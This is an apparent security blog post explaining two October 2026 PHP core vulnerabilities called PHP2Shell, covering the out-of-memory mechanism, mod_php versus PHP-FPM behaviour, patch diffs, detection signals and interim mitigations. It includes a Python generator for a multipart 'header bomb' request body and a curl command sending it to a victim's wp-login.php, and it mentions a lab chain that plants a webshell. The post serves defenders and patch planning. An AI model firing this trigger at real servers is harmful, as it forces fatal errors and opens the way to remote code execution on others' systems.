October 21, 2026
PHP2Shell
CVE-2026–109618 & CVE-2026–109619 — pre-auth RCE in PHP core, explained for the rest of the team.

By VXRL
9 min read
Researchers: {VXRL Team}
On October 21, 2026 the PHP team shipped an emergency release. Behind it were two CVEs — CVE-2026–109618 and CVE-2026–109619 — that researchers at Calif.io, Wiz, and OpenAI are calling PHP2Shell. The headline from Wiz says it all:
"Every PHP version released in the last decade is affected by at least one of these vulnerabilities."
Both are rated Critical (CVSS 9.2). Both are pre-authentication. Both were demonstrated as remote code execution against stock WordPress, Drupal, and Joomla. The bug reaches back to PHP 5.4 (2012).
If you run PHP — and if you run WordPress, you run PHP — this is a "patch today" event. This post explains why it's so bad, at the level of mechanism and defense. It does not contain a weaponized exploit; the researchers deliberately withheld that, and so do we.
The one idea behind all of it
PHP serves many HTTP requests from one long-lived worker process (Apache mod_php, or a PHP-FPM pool worker). Each request gets its own request heap, set up at request startup and torn down at request shutdown.
Every PHP2Shell bug is the same shape:
An exceptional control-flow path — an out-of-memory (OOM) error, or any fatal error — jumps out of an operation before it finished setting up or tearing down its state_. That leaves a pointer referring to memory that is uninitialized or already freed. Later code then reads or branches on that pointer._
PHP implements OOM with a longjmp() — a non-local jump that abandons whatever it was doing. That's the trapdoor. Land an allocation failure at the wrong moment and you leave the engine holding a dangling reference.
Four bugs, one lever
Wiz decomposes the two CVEs into four distinct bugs. They all start from the same lever — force an OOM/fatal at a moment you choose — and differ only in which global ends up dangling:
Bug #2 is the one people ask about when they say "can it read my files?" It's a memory read, not a filesystem read — but it leaks whatever is in the reclaimed heap: other users' request data, session contents, secrets sitting in process memory — and it URL-encodes them straight into a response cookie. The published RCE chain combined #1 + #2: leak with #2, then drive the unserializer UAF in #1 to execution.
Stage 1: forcing an out-of-memory error on demand
Every one of those bugs needs the same primitive first: make a chosen allocation fail at a chosen time, without tripping any size limit. This is the part the writeups describe publicly, so it's the part our lab reproduces.
Two tricks combine.
-
Slip past
post_max_size. PHP checks that limit against the request's declaredContent-Length, not the bytes it actually consumes. Send the body with HTTP chunked transfer encoding (no declared length) and the initial check is simply skipped. -
Amplify memory inside a tiny body. Modern PHP caps the number of multipart parts (
max_multipart_body_parts, default 1020) — but it does not cap the number of header lines inside a single part, and it holds them all in memory while parsing that part. In our lab we measured ~320 bytes of PHP heap retained per header line. So one part with ~300,000 cheap header lines is ~4 MiB on the wire but drives ~96 MiB of allocation — blowing a 64 MiBmemory_limit.
The generator is boring on purpose:
for p in range(parts): # parts: keep < 1020
out += b"--" + boundary + CRLF
out += b'Content-Disposition: form-data; name="f%d"; filename=""' % p + CRLF
out += b"Content-Type: application/octet-stream" + CRLF
for h in range(headers): # headers: the UNCAPPED amplifier
out += b"X-P%d: x" % h + CRLF # ~320 bytes of PHP heap each
out += CRLF + CRLFfor p in range(parts): # parts: keep < 1020
out += b"--" + boundary + CRLF
out += b'Content-Disposition: form-data; name="f%d"; filename=""' % p + CRLF
out += b"Content-Type: application/octet-stream" + CRLF
for h in range(headers): # headers: the UNCAPPED amplifier
out += b"X-P%d: x" % h + CRLF # ~320 bytes of PHP heap each
out += CRLF + CRLFAnd the request:
curl -X POST -H 'Transfer-Encoding: chunked' \
-H 'Content-Type: multipart/form-data; boundary=sep' \
--data-binary @body.bin http://victim/wp-login.phpcurl -X POST -H 'Transfer-Encoding: chunked' \
-H 'Content-Type: multipart/form-data; boundary=sep' \
--data-binary @body.bin http://victim/wp-login.phpThe result, against PHP 8.4.26:
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted
(tried to allocate 4096 bytes) in Unknown on line 0PHP Fatal error: Allowed memory size of 67108864 bytes exhausted
(tried to allocate 4096 bytes) in Unknown on line 0"Unknown on line 0" is the tell: the fatal fires during request-startup parsing, before any application code runs — exactly where the vulnerable state lives. The application never got a say. Add a PHP_SESSION_UPLOAD_PROGRESS field and a session cookie and you've engaged the session path behind CVE-2026-109619.
mod_php and PHP-FPM react differently
A common question is "we run PHP-FPM, not mod_php — are we fine?" Not exactly, but the two SAPIs behave differently, and it's worth being precise. Our lab runs both — Apache mod_php and nginx + PHP-FPM — and fires the identical ~4 MiB request at each:
TARGET | HTTP | WHAT HAPPENS NEXT
mod_php(vuln) | 500 | OOM fatal forced; worker SURVIVES & is reused
nginx+fpm(vuln) | 502 | OOM fatal forced; FPM child EXITS (code 70) & is replacedTARGET | HTTP | WHAT HAPPENS NEXT
mod_php(vuln) | 500 | OOM fatal forced; worker SURVIVES & is reused
nginx+fpm(vuln) | 502 | OOM fatal forced; FPM child EXITS (code 70) & is replaced
The OOM fires on both. The difference is the aftermath, and it's the whole game. On mod_php the worker survives the fatal and serves the next request — in the lab the Apache worker PID is identical before and after:
worker_pid= 22 <- before the OOM fatal
worker_pid= 22 <- after: worker SURVIVED & REUSEDworker_pid= 22 <- before the OOM fatal
worker_pid= 22 <- after: worker SURVIVED & REUSEDRequest A leaves a global pointing into its freed heap; request B — your next request, on the same worker — walks that stale pointer. That reused worker is exactly the window CVE-2026–109619 abuses, and it's the path the advisories demonstrate app-independently.
On PHP-FPM the child that handled the fatal exits and is recycled, so this particular request-startup sequence doesn't survive to be consumed. FPM is still listed as susceptible by both CVEs — but via a separate, application-dependent path (state published during normal request execution, then consumed by upload progress), which the researchers did not fully detail and this lab does not reproduce. So: FPM is not immune, but "fire a startup OOM and win" is a mod_php story.
So… does it really get a shell?
Yes. This is confirmed, demonstrated, pre-auth remote code execution — not a theoretical "maybe." The CVE-2026–109618 advisory states full unauthenticated RCE was validated over HTTP against mod_php with default input and memory limits; Calif and Wiz report pre-auth RCE against stock WordPress, Drupal and Joomla.
The honest caveats: it's rated AC:H / AT:P — high complexity, special conditions. Success depends on heap grooming landing correctly and defeating ASLR; it's "run it until it wins," not a guaranteed one-shot.
We verified this ourselves under controlled laboratory conditions: a stock php:8.4.26-apache image with display_errors=On, memory_limit=8M, and a single-worker Apache prefork. Under those settings the full chain — heap leak, ASLR bypass, fake zend_reference placement, zif_system execution — completes in seconds over plain HTTP, against a page that contains nothing but <?php echo "OK\n"; ?>:
Not all PHP servers are exploitable with these exact steps. The demonstration requires non-default settings (display_errors=On, memory_limit=8M, KeepAlive Off, single worker, mod_php, linux/amd64) that make heap grooming deterministic. A real-world exploit would need to handle production configurations, multi-worker environments, and different ASLR layouts. The severity is real — the researchers demonstrated RCE against stock WordPress, Drupal, and Joomla — but "fire one script and always win" is not how it works in the wild.
The difficulty is in writing the exploit. Whether a shell is achievable is settled: it is. In our lab, the same RCE chain plants a webshell on the victim and drops into an interactive command loop — www-data on the box, all pre-auth, all over ordinary HTTP POST requests.
Actual Exploit Demo: (https://www.youtube.com/watch?v=5oEa2Y_CL1Q)
Lab setup vs. the real world
Our lab pins every knob to make heap grooming deterministic: display_errors=On so a warning flushes headers (needed for the Set-Cookie leak), memory_limit=8M so the heap stays small enough for calibrated placement, KeepAlive Off so each connection maps to exactly one request on one worker, and a single prefork child so every request hits the same process. Change any one of those and our demo script breaks.
There's one more dimension: the host platform. Our demo's heap grooming uses calibrated filler counts — exact numbers of POST variables that position allocations at specific Zend memory manager slots. These counts were measured on a standard Linux x86_64 kernel. When the same linux/amd64 container runs inside Docker Desktop's LinuxKit VM (macOS or Windows) — or under QEMU emulation on Apple Silicon — the VM's kernel and memory allocator shift the heap layout just enough that the calibrated fillers can miss. The demo is most reliable on native Linux; on Docker Desktop, mileage varies by version. The underlying vulnerability is the same either way — it's the lab script's grooming that's fragile, not the bug.
POC for dynamic testing: (still testing) https://youtu.be/7gn5Gku1TQY
Does that mean production PHP is safe? No — it means a generic, one-size script is hard. Each of those constraints has a production-realistic bypass that the researchers demonstrated:
The CVE advisory rates the attack as AC:H / AT:P (high complexity, special conditions) — that is hard, not impossible. Calif and Wiz achieved pre-auth RCE against stock WordPress, Drupal, and Joomla on default PHP settings. Their exploit is more sophisticated than our lab script, but the underlying vulnerability is the same longjmp-out-of-a-half-built-request that our demo triggers.
Bottom line: if you run an unpatched PHP ≤ 8.4.26 on mod_php, treat this as exploitable in the wild — the lab constraints make our demo simple, not the bug itself simple to hit. The researchers withheld their full chain precisely because it works under realistic conditions.
Detecting it
The activity happens below the application layer, so your app logs may be quiet. Watch for (per Wiz):
- Unusual multipart requests immediately followed by memory-limit errors.
- Repeated HTTP 500 (and on FPM, 502) from one source.
- Oversized or %-encoded
PHPSESSIDresponse cookies — that's leaked worker memory from bug #2. - Unexplained PHP worker churn — workers dying and recycling.
Cloudflare, AWS, Akamai, Fastly, Imperva, Google and Microsoft have shipped edge / WAF mitigations; those buy time, they don't fix it.
Does the OOM really happen — and what does the patch change?
It's easy to check. Sweep the header count against PHP 8.4.26 and the limit snaps shut at a sharp edge — one extra header's worth of heap tips a ~64 MiB memory_limit:
200,000 headers (2.6 MiB on the wire) -> HTTP 200
220,000 headers (2.9 MiB on the wire) -> HTTP 500 <- OOM fatal200,000 headers (2.6 MiB on the wire) -> HTTP 200
220,000 headers (2.9 MiB on the wire) -> HTTP 500 <- OOM fatalNow the before/after. Docker Hub's php:8.4-apache was still 8.4.26 on release day, so I built the official 8.4.27 image from source and fired the identical payloads at both:
PHP | PAYLOAD | HTTP | APP CODE RAN?
8.4.26 | header-bomb | 500 | no (fatal before any app code)
8.4.27 | header-bomb | 200 | yes (request served normally)PHP | PAYLOAD | HTTP | APP CODE RAN?
8.4.26 | header-bomb | 500 | no (fatal before any app code)
8.4.27 | header-bomb | 200 | yes (request served normally)On 8.4.27 the error log stays empty — the request no longer gets near the limit, even at 2 million headers (27 MiB). The fix (one commit, Avoid state corruption via bailout) does two things. First, the multipart parser stops hoarding junk headers, so the amplifier is gone:
# main/rfc1867.c — keep only the headers PHP actually uses
+ if (!php_mime_should_save_hdr(line) // Content-Disposition / Content-Type only
+ || php_mime_get_hdr_value(*header, line)) {
+ key = NULL; // drop every other header line
+ } else {
+ key = estrdup(line);# main/rfc1867.c — keep only the headers PHP actually uses
+ if (!php_mime_should_save_hdr(line) // Content-Disposition / Content-Type only
+ || php_mime_get_hdr_value(*header, line)) {
+ key = NULL; // drop every other header line
+ } else {
+ key = estrdup(line);Second — and this is the real bug fix — an out-of-memory no longer longjmps out of a half-built request. The soft limit queues a delayed error raised after parsing finishes; a higher hard limit _exit()s the worker outright. Either way, request shutdown never walks half-initialized state again:
# Zend/zend_alloc.c + main/SAPI.c
+ * When the soft limit is to be exceeded, a delayed OOM error is queued.
+ * When the hard limit is to be exceeded, the function does not return.# Zend/zend_alloc.c + main/SAPI.c
+ * When the soft limit is to be exceeded, a delayed OOM error is queued.
+ * When the hard limit is to be exceeded, the function does not return.The OOM was never the vulnerability — it was the lever. The patch keeps PHP's ability to run out of memory and removes the dangling state that made it a weapon. Commits: 01a40e89fbfc (8.2) · 3c832b523ee1 (8.3) · 506e87fa7dcd (8.4) · 31c0ea7d7ff1 (8.5).
What to actually do
Patch. It's the only complete fix. Upgrade to PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 (or later) and restart all workers — the stale state lives in running processes, so an unrestarted worker stays vulnerable.
Can't patch this minute? Interim, partial measures (not a substitute):
- PHP-FPM:
session.upload_progress.enabled=0andmemory_limit=-1, then restart. - mod_php:
memory_limit=-1, then restart. - Do not rely on
RLIMIT_AS/RLIMIT_DATA— they can trigger the bug. - Block multipart at the edge if your app doesn't use it; cap headers-per-part and decoded body size at the front end; on FPM consider
pm.max_requests=1.
Removing the memory cap raises real DoS risk, so treat these as stopgaps and patch.
Credits & references
All credit to the researchers — Calif.io, Wiz Research, and OpenAI — and to the PHP security team for the fix.
- Calif.io — php2shell — https://calif.io/php2shell/
- Wiz Research — PHP2Shell — https://www.wiz.io/blog/php2shell-php-rce
- CVE-2026–109618 —
GHSA-w8hw-w9fx-j79w - CVE-2026–109619 —
GHSA-6wmf-4rv5-p3rp - PHP October 2026 Security Release — https://www.php.net/
The companion lab reproduces only the publicly-documented trigger, the cross-request precondition, and the detection signals — no weaponized chain. Run it only against systems you own.